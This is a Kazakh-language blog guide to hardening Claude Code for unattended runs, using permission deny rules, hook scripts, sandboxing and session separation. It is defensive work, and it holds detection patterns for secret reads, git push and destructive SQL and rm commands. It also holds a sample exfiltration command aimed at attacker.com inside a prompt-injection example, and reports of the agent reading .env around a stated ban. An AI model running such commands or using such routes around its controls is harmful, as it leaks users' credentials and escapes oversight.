Блог

Claude Code-ты түнде жобаңызды бұзбайтындай етіп қалай баптауға болады

Markdown

Claude Code түн бойы .env файлын немесе дерекқорды жоғалтпай жұмыс істеуі үшін 7 хукті, рұқсаттары бар settings.json файлын және 12 тармақтан тұратын тексеру тізімін қолданыңыз. 4 қабатты қорғаныс.

Мақаланы толық оқу

Ailoot құжаттамасы — сервисті пайдалану жөніндегі анықтамалық материалдар.

2026 жылы не өзгерді: Claude Code автономды режимде және нақты оқиғалар

Негізгі түйін

2026 жылы Anthropic auto-mode, /loop және /schedule функцияларын іске қосты — енді Claude Code бірнеше сағат бойы растаусыз жұмыс істей алады. Автономияның құны — нақты оқиғалар: өндірістік дерекқорлардың жойылуы, .env файлдарының сыртқа кетуі және әлі түзетілмеген permissions.deny қатесі. Бұл нұсқаулықта түнгі алғашқы іске қосуға дейін енгізу керек 4 қорғаныс қабаты көрсетілген.

Бұрын Claude Code әр жауаптан кейін тоқтап, әр жазу әрекетіне рұқсат сұрайтын. Бұл қолайсыз еді, бірақ қауіпсіз болатын: агент сіздің «иә» деген жауабыңызды күтіп тұратындықтан, оқиғаны байқамай ұйықтап қалу мүмкін емес еді. 2026 жылы бұл модель өзгерді. Anthropic auto-mode функциясын іске қосты — бөлек классификатор агент әр әрекетке сіздің атыңыздан рұқсат беру-бермеуді шешеді. /loop пәрмені пайда болды (сеанс ішінде сұрау мәтінін аралықпен қайталап іске қосады), сондай-ақ ұзақ тапсырмаларды cron тәрізді кестемен орындауға арналған /schedule функциясы шықты. claude --bg пәрменімен іске қосылған фондық сеанстар терминалсыз жұмыс істейді. Автономды режимді «Claude Code-тағы /goal: автономды режим және агент көрінісі» нұсқаулығында егжей-тегжейлі қарастырдым.

Мәселе — автономия қауіпсіздік шараларынан бұрын енгізілді.

Бірнеше апта бұрын одан «ретке келтіруді» сұрадым, сөйтіп ол өндірістік және әзірлеу дерекқорларымды да жойып жіберді.

— browningstreet

Сонымен қатар, Anthropic репозиторийінде settings.json файлына permissions.deny қоспас бұрын білуіңіз керек екі қате ашық тұр:

  • Issue #44868 (2026 жылғы 7 сәуір): CLAUDE.md файлында нақты тыйым салынғанына қарамастан, Claude Code .env мазмұнын grep -n арқылы чат транскриптіне шығарады. Қате ашық.
  • Issue #24846 (2026 жылғы 11 ақпан): .env* үлгілеріне арналған permissions.read.deny ережелері қолданылмайды — дұрыс тыйым салу үлгісі болса да, Read .env.local файлын оқиды. Қате қайталанған деп жабылды, бірақ түзетілмеді.

Бұл екі олқылық settings.json ішіндегі бір қабат жеткіліксіз екенін көрсетеді. Келесі төрт қабат — рұқсаттар, hook, құмсалғыш және сеанс бөлу. Әрқайсысы тәуекелді азайта алады, бірақ өзгенің қамтуын толық етпейді. Келтірілген auto-mode бағалауы regex hook оның өткізіп алғанын ұстайтынын дәлелдемейді. Өндіріс үшін production credentials пен жазу рұқсаты жоқ оқшау OS ортасын қолданыңыз, желі шектеулерін модельден тыс міндеттеп, қараусыз іске қосудан бұрын сынаңыз.

Жобаның жасыл және қызыл аймақтары деген не?

Негізгі түйін

Жасыл аймақ: нақты клиенттері мен ақшасы жоқ жергілікті жоба. Қызыл аймақ: өндірістік дерекқоры, төлемдері немесе жеке деректері бар кез келген нәрсе. Жасыл аймақта auto-mode функциясын ең аз хуктермен қолдануға болады. Қызыл аймақта қорғаныс 4 қабаттан тұрады, ал --dangerously-skip-permissions архитектуралық тұрғыдан тыйым салынады.

Әр жобаға бірдей қорғаныс құрудың мәні жоқ. Сыртқы ортаға орналастырылмаған, компьютеріңіздегі жергілікті жеке жоба нақты төлемдерді өңдеп, клиент деректерін сақтайтын сервистен мүлдем басқа деңгейдегі тәуекелге ие. Барлық жерде бірдей қорғаныс қолдансаңыз, жасыл аймақта жұмыс жылдамдығын тежейсіз, ал қызыл аймақта олқылықтарды бәрібір қалдырасыз.

Үш шарттың кем дегенде бірі орындалған сәтте жоба жасыл аймақтан қызыл аймаққа өтеді: нақты клиенттер пайда болады, жүйе арқылы ақша жүре бастайды немесе дерекқорда адамдардың жеке деректері сақталады. Оған дейін auto-mode функциясын, ең аз хуктерді және құмсалғышсыз жұмыс істеуді қолдануға болады. Одан кейін қорғанысты осы нұсқаулықтағы толық баптауға сай қайта құру керек.

Негізгі қағида: қорғаныс деңгейі аймаққа байланысты. Әзірлеу кезеңі есепке алынбайды. Компьютеріңіздегі тестілік Stripe аккаунты бар жеке жоба жасыл аймақта. Бір ғана ақылы клиенті мен тіркелу пішіні бар сервис «нобай» сияқты көрінсе де, қызыл аймақта болады. Бастапқы жобалардағы жиі тұзақ — бұл аймақтарды шатастыру: «әлі нобай ғой, қорғанысты кейін қосамыз», ал келесі аптада алғашқы клиент төлеп қояды.

settings.json файлындағы рұқсаттар иерархиясы қалай жұмыс істейді?

Негізгі түйін

settings.json файлында deny ережелері allow ережелерінен әрдайым басым, ал ауқымдар (user → project → local → managed) бірін-бірі алмастырмай, біріктіріледі. .env, *.pem және ~/.ssh/** файлдарына арналған пайдаланушы деңгейіндегі тыйым сізді басқа біреудің репозиторийінде де қорғайды. disableBypassPermissionsMode кілті YOLO режимін де архитектуралық тұрғыдан бұғаттайды.

Anthropic рұқсаттарды бағалау иерархиясын ресми құжаттамасында сипаттайды: алдымен deny, содан кейін ask, одан соң allow ережелері тексеріледі — бірінші сәйкес келген ереже қолданылады. Демек, deny әрдайым allow ережесінен басым. Егер ~/.claude/settings.json файлында .env файлын оқуға тыйым салсаңыз, ал біреу жоба ішіндегі .claude/settings.json файлына allow қосса, олардың рұқсаты емес, сіздің тыйымыңыз күшіне енеді.

Пайдаланушы деңгейіндегі ең аз қауіпсіз ~/.claude/settings.json үлгісі:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Мұнда не болып жатыр? Алғашқы алты ереже ағымдағы каталогтағы және барлық ішкі каталогтардағы құпия файлдарды оқуға тыйым салады. *.pem және *.key — SSL/TLS кілттері мен SSH кілттері. credentials*.json — бұлт провайдерлері жиі қолданатын файл атауы. Соңғы үш жол SSH кілттері, AWS тіркелгі деректері және GPG кілттері сақталатын жүйелік каталогтарға тыйым салады.

disableBypassPermissionsMode: "disable" кілті --dangerously-skip-permissions жалаушасын (YOLO режимі деп те аталады) бұғаттайды. Осылайша қателердің бір түрін біржола жоясыз: бұл жалаушаны скриптке немесе бүркеншік атқа абайсызда қоссаңыз да, Claude Code оны қабылдамайды. Ол жалаушаны жай алып тастамайды, «mode disabled by managed settings» қатесін қайтарады.

Бұған қоса, 2.1.142 нұсқасынан бастап, defaultMode: "auto" кілті жобалық немесе жергілікті баптауларда болса, еленбейді. Бұл «біреудің репозиторийіне кірдім, ал оның .claude/settings.json файлында автоматты режим әдепкіде қосылған» деген жағдайдан қорғайды. Anthropic репозиторийлер пайдаланушының келісімінсіз auto-mode қоса алмайтынын нақты мәлімдеді.

Бұл — қорғаныстың бірінші шебі. Мұнымен шектелуге болмайды, өйткені онда келесі бөлімде айтылатын екі олқылық бар.

Claude Code-ты жаңсақ әрекеттерден қорғап қана қоймай, оны болжамды ететін баптауды қалай құру керегін де білгіңіз келе ме? Рұқсаттар — агент жұмыс істейтін шекараны басқарудың бір бөлігі.

Неліктен permissions.deny жеткіліксіз: GitHub-тағы 2 ашық issue

Негізгі түйін

2026 жылғы сәуірде қолданушы Anthropic репозиторийінде #44868 issue-ын ашты: CLAUDE.md ішіндегі тыйымға қарамастан, Claude .env файлын grep -n арқылы оқып, мазмұнын транскриптке шығарады. Ақпандағы #24846 issue-ында permissions.read.deny ережесінің .env* файлдары үшін Read құралы деңгейінде жұмыс істемейтіні хабарланған. Екеуі де әлі ашық, сондықтан үстінен хук қойылмаған settings.json — саңылауы көп елеуіш.

Егер permissions.deny жұмыс істесе, алдыңғы бөлімде-ақ аяқтауға болар еді. Бірақ олай емес.

Issue #44868 (2026 жылғы 7 сәуір): қолданушы CLAUDE.md файлында .env, .dev.vars және құпиялар бар басқа файлдарды оқуға нақты тыйым салған. Claude Read құралын пайдаланудың орнына grep -n SOMETHING .env пәрменін орындаған. grep -n сәйкес жолды толықтай, жол нөмірімен қоса шығарады — демек, нақты API токені де көрінеді. Ол жол tool_result құрамына түсіп, сеанс транскриптінде көрсетіледі және тарихқа сақталады.

Автор назар аударған жайт — модельдің қауіпсіздік рефлексі пәрмен орындалғаннан кейін іске қосылады. Басқаша айтқанда, Claude алдымен grep пәрменін орындап, токен бар жолды алады да, чатқа шығарады; тек содан кейін қатесін байқап, «кешірім сұрайды». Ол кезде токен чат тарихына әлдеқашан түскен болады. Жалғыз амал — кілтті ауыстыру.

Issue #24846 (2026 жылғы 11 ақпан): қолданушы permissions.read.deny баптауында **/.env* үлгісін қамтитын тізім жасаған. Содан соң Claude-тан .env.local файлын оқуды сұраған. Read құралы қатесіз орындалып, файл мазмұнын шығарған.

Issue қайталанған деп жабылған, бірақ түзетілмеген. Осы нұсқаулық жазылған кездегі дерек бойынша (2026 жылғы маусым), оны қайта шығаруға болады.

Қорытынды: settings.json ішіндегі 1-қабат артық әурешілік емес, бірақ бұл мысалдар абайсыз оқудың қандай үлесін тоқтататынын өлшемейді. Бірақ Bash арқылы жасалатын пәрмендерді (cat .env, grep API_KEY .env, head .env), тексеру қателерін (#24846 issue-ы) немесе .env бар коммитке жасалған git diff пен git show тәрізді тізбектерді тоқтатпайды. Сондықтан екінші қабат — хуктер қажет.

Hook танылған қауіпті әрекеттерді қалай бұғаттай алады?

Негізгі түйін

Claude Code hook-тары арнайы оқиғаларда (PreToolUse, UserPromptSubmit, Stop) іске қосылатын shell скрипттері. Сәйкес PreToolUse шақыруына exit 2 не permissionDecision: "deny" бар JSON арқылы тыйым сала алады. Hook — оқиға жолындағы middleware; оның қамтуы сол оқиға мен танылған құрал шақыруына тәуелді.

Хуктар рұқсаттардан басқа деңгейде жұмыс істейді. Рұқсаттар — модель шешім қабылдағанда ескеретін ережелер. Хук басқаша жұмыс істейді: модель құралды шақыруға шешім қабылдағанда, хук модель мен жүйенің арасында іске қосылып, енгізілген деректерді тексереді де, әрекетке рұқсат береді немесе оны бұғаттайды. Хук шешіміне модель араласпайды — бұл өзіңіз жазған shell коды.

Anthropic бұғаттау механизмін хуктер туралы ресми құжаттамасында сипаттайды:

2 шығу коды бұғаттайтын қатені білдіреді. Claude Code stdout пен оның ішіндегі барлық JSON деректерін елемейді. Оның орнына stderr мәтіні Claude-қа қате хабарламасы ретінде жіберіледі.

— Claude Code құжаттамасы (Hooks), https://code.claude.com/docs/en/hooks

Бұл екі нәрсені білдіреді. Біріншіден, дұрыс бапталған бұғаттаушы hook сәйкес құрал шақыруынан бас тарта алады. PreToolUse үшін 2 шығу коды сол шақыруды бұғаттайды; скрипт әр қауіпті балама пәрменді танитынын дәлелдемейді. Екіншіден, stderr ішіне мағыналы хабарлама жазсаңыз, Claude оны қате ретінде оқып, басқа тәсілді қолдануға тырысады. Басқаша айтқанда, хук — жай ғана «қоршау» емес, «неге өтуге болмайтынын түсіндіретін белгісі бар қоршау».

2 шығу кодымен бұғаттауға болатын оқиғалар:

  • PreToolUse — құрал шақыруын орындалмай тұрып бұғаттайды. Қорғаныс хуктеріне арналған негізгі оқиға.
  • PermissionRequest — Claude орындауға рұқсат сұраған әрекетке рұқсат бермейді.
  • UserPromptSubmit — пайдаланушы сұрауын бұғаттап, өшіреді. Сұрауда күмәнді мәтін болса (мысалы, арнайы қойылған электрондық хаттағы prompt injection), пайдалы.
  • Stop — Claude-тың сеансты аяқтауына жол бермейді. Шарт орындалғанша агентті жұмыс істететін «цикл» ретінде қолдануға болады.
  • PreCompact — контексті автоматты түрде ықшамдауды бұғаттайды. Қолмен шешім қабылдағанша транскриптті сақтағыңыз келсе, пайдалы.
  • WorktreeCreate — worktree жасауды қабылдамайды. Claude-тың репозиторийді күтпеген жерге клондауға тырысуынан қорғайды.

2 шығу кодына балама ретінде hookSpecificOutput.permissionDecision өрісі бар JSON қайтаруға болады. permissionDecision төрт мән қабылдайды:

  • allow — әрекетке тікелей рұқсат береді және стандартты рұқсат үдерісін айналып өтеді.
  • deny — әрекетті бұғаттайды, PreToolUse үшін 2 шығу кодына тең.
  • ask — шешімді пайдаланушыға береді (диалог терезесі ашылады).
  • defer — шешімді әдеттегі рұқсат логикасына қалдырады.

Бұл хукке шығу кодынан гөрі көбірек бақылау береді. permissionDecision: "ask" арқылы үнсіз орындалатын әрекеттерді толығымен бұғаттамай, растауды талап ететін әрекеттерге айналдыруға болады. npm install <new package> және lockfile өзгерістері үшін мен осылай істеймін.

Хуктердің қалай жұмыс істейтінін және Claude Code-та қолжетімді 31 оқиға туралы білгіңіз келсе, бұл туралы «Claude Code-тағы хуктер: көшіруге дайын 7 ереже» атты бөлек нұсқаулықта жаздым. Енді автономды жұмысқа арналған нақты хуктерді көрсетемін.

Түнгі жұмысқа арналған қандай 7 хукті қолданамын?

Негізгі түйін

Жеті жағдайға арналған көрнекі PreToolUse мысалдары: таңдалған құпия оқуларын белгілеу, танылған тікелей git push шақыруларын бұғаттау, таңдаулы SQL және rm -rf үлгілерін сүзу, пакет пен manifest өзгерістерін қарау және сәйкес құрал шақыруларын журналдау. Қоспас бұрын сәйкес келуі мен келмеуін жергілікті сынаңыз. Regex мысалдары толық емес және өндірістік қауіпсіздік шекарасын дәлелдемейді.

Бұл — бірінші қабаттың қорғанысын толықтыратын екінші қабат. Барлық хуктер .claude/hooks/ каталогына салынып, .claude/settings.json арқылы тіркеледі; jq орнатылған болуы керек.

1-хук: .env, .pem және credentials.json файлдарын оқудан қорғау

Таңдалған Read жолдары мен жиі Bash құпия оқу пәрмендеріне тексеру қосады. Ол әр құралды не құпия оқудың барлық тәсілін ұстамайды. Файл: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

.claude/settings.json ішіндегі тіркеу:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Орнатқаннан кейін chmod +x .claude/hooks/block-secret-reads.sh пәрменін орындаңыз. Тексеру: Claude-тан .env.local файлын оқуды сұраңыз — файл мазмұнының орнына «Secret file. Use op:// references or env vars.» жауабын аласыз.

2-хук: түнгі сеанста тікелей git push шақыруларын бұғаттау

Қараусыз сеанс үшін бұл мысал танылған әр тікелей git push шақыруын, feature тармақтарына да, сақтықпен бұғаттайды. Ағымдағы тармақты не force жалаушасының қауіпсіздігін жорамалдамауға тырысады. Файл: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Bash matcher-і бар PreToolUse арқылы тіркеңіз. Жалауша мен тармақты талдамай, танылған push пәрменін бұғаттағандықтан git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main және && не ; тізбегіндегі тікелей push-ты ұстайды. Бұлар — қашықтағыда орындауға арналған пәрмендер емес, офлайн мәтін салыстыру мысалдары.

Бұл әлі мәтін эвристикасы. Git alias-тары, shell функциялары, git -C ... push, құрастырылған атаулар, скрипттер мен өзге құралдар өте алады; ол толық shell талдағышы емес. Git серверінде қорғалған тармақ ережелерін міндеттеп, олардан өтетін credentials-ті алып тастаңыз және қараусыз жұмысты өндіріске жазу рұқсаты жоқ оқшау ортада жүргізіңіз. Hook сәйкестігі өтпей қалуы өндірістік рұқсат бермеуі керек.

3-хук: деструктивті SQL операцияларын бұғаттау

Тікелей дерекқорды жою оқиғаларына қатысты. Файл: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Bash matcher-і бар PreToolUse арқылы тіркеңіз. Айырмашылығы: DROP және WHERE-сыз DELETE толық бұғатталады, ал WHERE-сыз UPDATE үшін ask көрсетіледі — кейде ол орынды болуы мүмкін (мысалы, миграцияда барлық жазбаның жалаушасын орнату), бірақ әрдайым қолмен растауды қажет етеді.

4-хук: rm -rf пәрмендеріне арналған сүзгі

Anthropic құжаттамасындағы канондық мысал; себепті көрсету үшін deny мәніне бейімделген:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Хук rm -rf node_modules, rm -rf .next/cache және ауқымы нақты көрсетілген басқа өшіру пәрмендеріне рұқсат береді. rm -rf ., rm -rf /, rm -rf ~ сияқты «бәрін жою» пәрмендерін бұғаттайды.

5-хук: жаңа пакеттерді орнатуды растау

Бұл хук жеткізу тізбегіне жасалатын шабуылдардың алдын алады. Егер Claude жаңа тәуелділікті өздігінен қосуды шешсе, диалог терезесі ашылады:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Бұл Саймон Уиллисон көтерген мәселені шешеді: әдепкі auto-mode ақ тізімі pip install -r requirements.txt пәрменіне рұқсат береді, бірақ requirements.txt файлындағы нұсқасы бекітілмеген тәуелділіктерден қорғамайды. Хук керісінше жұмыс істейді — lockfile негізіндегі орнату еркін орындалады, ал жаңа тәуелділік қосу үшін растау керек.

6-хук: package.json және lockfile файлын қорғау

Тәуелділіктер манифестіне енгізілген кез келген өзгеріс оны біреудің тексеруі керегін білдіреді. Әсіресе түнде.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Write|Edit matcher-і бар PreToolUse арқылы тіркеңіз.

7-хук: барлық Bash шақыруларының толық аудит журналы

Түнде бірдеңе дұрыс болмаса, оқиғалардың ретін түсіну үшін толық журнал керек. settings.json файлында тіркеңіз (жеке скрипті жоқ; барлығын jq орындайды):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

.claude/audit.jsonl файлы біртіндеп өседі. Түнгі /loop аяқталған соң, таңертең tail -n 100 .claude/audit.jsonl | jq пәрменін орындап, агенттің әр кезде не істегенін көре аласыз. Бұл оқиғадан кейінгі талдау үшін маңызды: сеанс транскрипті ұзақ әрі оқуға қиын болуы мүмкін, ал аудит журналы оқиғалардың анық хронологиясын береді.

Құмсалғыш пен worktree оқшаулауы ұзақ сеанстарды қалай қорғайды?

Негізгі түйін

Claude Code-тағы құмсалғыш — файлдық жүйе мен желіні оқшаулау құралы. Anthropic қауіпсіздік деңгейі бірдей болғанда рұқсат сұрауларының 84%-ға азайғанын хабарлайды. Желі оқшаулауы агент .env файлын оқып қойған болса да, оны қашықтағы серверге жіберуге жол бермейді. Ұзақ фондық сеанстар үшін құмсалғыш пен worktree міндетті.

Егер хуктер «белгісі бар қоршау» болса, құмсалғыш — «қоршау + ор + дрондарға қарсы тор». Бұл — қорғаныстың төртінші қабаты; хук әрекетті өткізіп алған жағдайда да, оны орындау ортаның сыртында зиян келтірмеуін қамтамасыз етеді.

Anthropic құмсалғыш туралы блог жазбасында (2025 жылғы 20 қазан) ішкі өлшемдерді жариялады:

Біздің ішкі деректер бойынша, құмсалғыш рұқсат сұрауларын қауіпсіз түрде 84%-ға азайтады.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing

Бұл /sandbox қосылғанда, әрекеттердің 84%-ы құмсалғыштан тыс шыға алмайтындықтан, Claude олар үшін рұқсат сұрамайтынын білдіреді. Бұл жылдамдық үшін пайдалы, бірақ басты құндылығы бұл емес.

Құмсалғыш әрқайсысы өз міндетін атқаратын оқшаулаудың екі деңгейін қамтамасыз етеді:

Файлдық жүйені оқшаулау файлдарды оқуға және жазуға тек нақты рұқсат етілген каталогтарда ғана мүмкіндік береді. Хук /etc/hosts файлына жазу немесе ~/.ssh/id_rsa файлын оқу әрекетін байқамай қалса да, құмсалғыш жүйелік шақыруға рұқсат бермейді. Бұл — операциялық жүйе деңгейіндегі қорғаныс. Қолданба қабаты оны айналып өте алмайды.

Желіні оқшаулау тек бекітілген серверлерге қосылуға мүмкіндік береді. Бұл деректерді сыртқа жасырын шығаруға қарсы аса маңызды. Мысалы: қолданылған файлға жасырылған prompt injection Claude-ты .env файлын оқуға алдайды (оқу әдеттен тыс жолмен жасалғандықтан хук оны байқамай қалады), содан соң модель curl -X POST attacker.com -d "$ENV_CONTENT" пәрменін іске қосуды шешеді. Желі оқшаулануы болмаса, бұл орындалады. Ал желі оқшауланған жағдайда attacker.com тізімде жоқ болғандықтан, curl оған қосыла алмайды.

Claude Code ішінде /sandbox пәрменімен іске қосыңыз. Оны ~/.claude/settings.json файлында баптаңыз:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

claude --bg пәрменімен іске қосылатын ұзақ фондық сеанстар үшін құмсалғышқа worktree оқшаулауын қосыңыз. Бұл — Claude Code-тың кіріктірілген механизмі: әр фондық сеанс жеке тармақтағы .claude/worktrees/<name>/ каталогына автоматты түрде ауысады. Осылайша қатар орындалатын сеанстар бір файлдарды жазғанда бір-бірінің жұмысына кедергі келтірмейді. Worktree оқшаулауын «Агент көрінісі және worktree-лер: Claude Code-тың автономды режимі» нұсқаулығында егжей-тегжейлі қарастырдым.

Claude Code жасаушысы Борис Черный негізгі тармақты қолмен тексеріп, auto-mode режимінде бірнеше worktree-де қатар жұмыс істейді. Оның ашық құжаттамасынан:

Құмсалғыш кері байланыс үдерісінің бір бөлігі. Claude әрекеттерінің шектелгенін білгенде, мұқият жұмыс істеп, аралық қадамдарын анығырақ көрсетеді.

2026 жылы auto-mode қайда жұмыс істейді, қайда жұмыс істемейді?

Негізгі түйін

Claude Code-тағы Auto-mode — Anthropic ережелеріне сүйеніп, қолмен берілетін рұқсаттардың орнына автоматты шешім қабылдайтын Sonnet 4.6 классификаторы. Anthropic деректеріне сәйкес, оның қауіпті әрекеттерді өткізіп алу деңгейі 17%, ал классификатор қатарынан 3 рет немесе жалпы 20 рет бас тартқаннан кейін сеанс тоқтайды. Жасыл аймақта бұл қолмен растаудың орынды баламасы. Қызыл аймақта хуктар бәрібір қажет.

2026 жылғы наурызда Anthropic auto-mode функциясын «қолмен тексеру мен қорғаныссыз жұмыстың арасындағы орта жол» ретінде іске қосты. Бұл — Claude әрекеттерін орындау алдында критерийлер жиынтығымен бағалайтын бөлек Sonnet 4.6 моделі. Anthropic инженері Джон Хьюз механизмін Anthropic Engineering блогында сипаттады:

Auto-mode — рұқсат беру шешімдерін модельге негізделген классификаторларға тапсыратын Claude Code-тың жаңа режимі. Бұл — қолмен тексеру мен қорғаныссыз жұмыстың арасындағы орта жол.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Auto-mode-тың екі маңызды шектеуі бар:

  • Сеанста классификатор қатарынан 3 рет немесе жалпы 20 рет бас тартса, модель тоқтап, мәселені адамға береді. Бұл «Claude бір пәрменге қойылған шектеуді 100 түрлі тұжырыммен айналып өтуге тырысып, циклге түсетін» жағдайдан қорғайды.
  • Auto-mode пайдаланушылар бәрібір мақұлдайтын әдеттегі жағдайлардың 93%-ына ұқсайтын әрекеттерге рұқсат береді. Бұл рұқсат сұраудан шаршауды азайтады, бірақ әдеттен тыс қауіпті әрекеттерден қорғамайды.

Назар аудару керек басты көрсеткіш мынау:

Нақты, асығыс әрекеттердегі жалған теріс нәтиже деңгейі — 17%. Шынайы көрсеткіш осы.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Жарияланған 17% — осы бағалаудағы жалған теріс үлес, жобаңыздың әр әрекетіне арналған ықтималдық емес. Ол мысал hook-тар өткізіліп кеткен әрекеттерді ұстайтынын дәлелдемейді. Қызыл аймақта қараусыз жұмыс production жазуларынан және құпиялардан міндетті оқшаулауды, серверлік қорғалған тармақтарды және айналып өте алмайтын credentials-ті қажет етеді.

Іс жүзінде hook-тарды жойып қайта жасауға және қалпына келтіруге болатын ортада қосымша тексеру ретінде қолданыңыз. Жергілікті жобада да Git қайтара алмайтын бақыланбайтын файлдар мен credentials болуы мүмкін. Қызыл аймақта hook өткізуін нақты access control шектеуі керек; regex жиынтығы еркін shell орындауын детерминистік қауіпсіздік кепілдігіне айналдырмайды.

Неліктен контексті сеанстың үш түріне бөлу керек?

Негізгі түйін

Ең қауіпті тізбек бір жаман пәрменнен емес, қатар орындалатын үш кәдімгі пәрменнен тұрады. Агент .env файлын оқиды (заңды), кіріс электрондық хатты өңдейді (заңды) және сыртқы адреске HTTP сұрауын жібереді (заңды). Әр әрекет жеке алғанда қауіпсіз; үшеуі бірігіп, деректерді сыртқа шығарады. Қорғаныс тәсілі — үш тапсырма түрін әртүрлі рұқсаттары бар бөлек сеанстарға бөлу.

Үш түрлі тапсырманы ешқашан бір сеанста біріктіруге болмайды:

1-түр: жеке деректермен жұмыс. Сеанс өндірістік дерекқорға қол жеткізе алады, электрондық хат жібере алады және тіркелгі деректерін көре алады. Бірақ сыртқы құжаттарға (электрондық хаттарға, PDF файлдарға, веб-беттерге) қол жеткізе АЛМАЙДЫ және кез келген адреске дерек жібере АЛМАЙДЫ.

2-түр: сыртқы құжаттарды өңдеу. Сеанс кіріс хаттарды талдап, веб-беттерді жүктеп, электрондық хаттағы PDF файлдарды оқи алады. Бірақ жеке деректері бар дерекқорға қол жеткізе АЛМАЙДЫ және нақты растаусыз сыртқа ештеңе жібере АЛМАЙДЫ.

